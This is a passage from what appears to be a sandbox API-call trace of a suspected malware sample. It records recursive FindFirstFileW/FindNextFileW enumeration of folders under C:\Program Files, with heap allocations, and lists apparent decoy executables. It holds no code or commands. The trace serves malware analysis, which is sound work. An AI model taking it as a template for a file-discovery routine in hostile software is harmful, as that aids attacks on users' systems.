lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0241.147] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0241.147] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0241.147] GetProcessHeap () returned 0xc10000 [0241.147] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.147] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0241.147] GetProcessHeap () returned 0xc10000 [0241.147] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0241.148] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.148] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b331940, ftCreationTime.dwHighDateTime=0x1d5aad5, ftLastAccessTime.dwLowDateTime=0x9582ba80, ftLastAccessTime.dwHighDateTime=0x1d57461, ftLastWriteTime.dwLowDateTime=0x9582ba80, ftLastWriteTime.dwHighDateTime=0x1d57461, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="SPGAGE~1.EXE")) returned 1 [0241.148] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0241.148] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0241.148] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0241.148] GetProcessHeap () returned 0xc10000 [0241.148] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.148] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8c9dd5a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c9dd5a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0241.148] GetProcessHeap () returned 0xc10000 [0241.148] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8c9dd5a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c9dd5a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0241.467] GetProcessHeap () returned 0xc10000 [0241.467] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0241.469] GetProcessHeap () returned 0xc10000 [0241.469] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0241.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0241.470] GetProcessHeap () returned 0xc10000 [0241.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0241.470] GetProcessHeap () returned 0xc10000 [0241.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.470] GetProcessHeap () returned 0xc10000 [0241.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0241.473] GetProcessHeap () returned 0xc10000 [0241.473] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0241.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0241.474] GetProcessHeap () returned 0xc10000 [0241.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0241.474] GetProcessHeap () returned 0xc10000 [0241.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.474] GetProcessHeap () returned 0xc10000 [0241.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.476] GetProcessHeap () returned 0xc10000 [0241.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.477] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8c9dd5a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c9dd5a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0241.495] GetProcessHeap () returned 0xc10000 [0241.495] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0241.497] GetProcessHeap () returned 0xc10000 [0241.497] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.497] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873c8d0, ftCreationTime.dwHighDateTime=0x1d5e204, ftLastAccessTime.dwLowDateTime=0x4032ec30, ftLastAccessTime.dwHighDateTime=0x1d5f0df, ftLastWriteTime.dwLowDateTime=0x4032ec30, ftLastWriteTime.dwHighDateTime=0x1d5f0df, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="GMAILN~1.EXE")) returned 1 [0241.497] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0241.497] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7963430c, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x22c400, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0241.497] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abd1547, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x206cbb35, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4abd1547, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1db800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0241.498] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0241.498] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0241.498] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0241.498] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0241.498] GetProcessHeap () returned 0xc10000 [0241.498] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.498] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0241.498] GetProcessHeap () returned 0xc10000 [0241.498] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0241.499] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.499] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0241.499] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0241.500] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0241.500] GetProcessHeap () returned 0xc10000 [0241.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.500] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0241.500] GetProcessHeap () returned 0xc10000 [0241.500] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Security\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0241.501] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.501] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145550e0, ftCreationTime.dwHighDateTime=0x1d5c424, ftLastAccessTime.dwLowDateTime=0x5465c140, ftLastAccessTime.dwHighDateTime=0x1d587db, ftLastWriteTime.dwLowDateTime=0x5465c140, ftLastWriteTime.dwHighDateTime=0x1d587db, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0241.501] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb063170, ftCreationTime.dwHighDateTime=0x1d58f18, ftLastAccessTime.dwLowDateTime=0xbcfb040, ftLastAccessTime.dwHighDateTime=0x1d58168, ftLastWriteTime.dwLowDateTime=0xbcfb040, ftLastWriteTime.dwHighDateTime=0x1d58168, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="actually_kent.exe", cAlternateFileName="ACTUAL~1.EXE")) returned 1 [0241.501] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 1 [0241.502] GetProcessHeap () returned 0xc10000 [0241.502] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0241.503] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.503] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe", cAlternateFileName="")) returned 1 [0241.503] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0241.504] GetProcessHeap () returned 0xc10000 [0241.504] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0241.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, 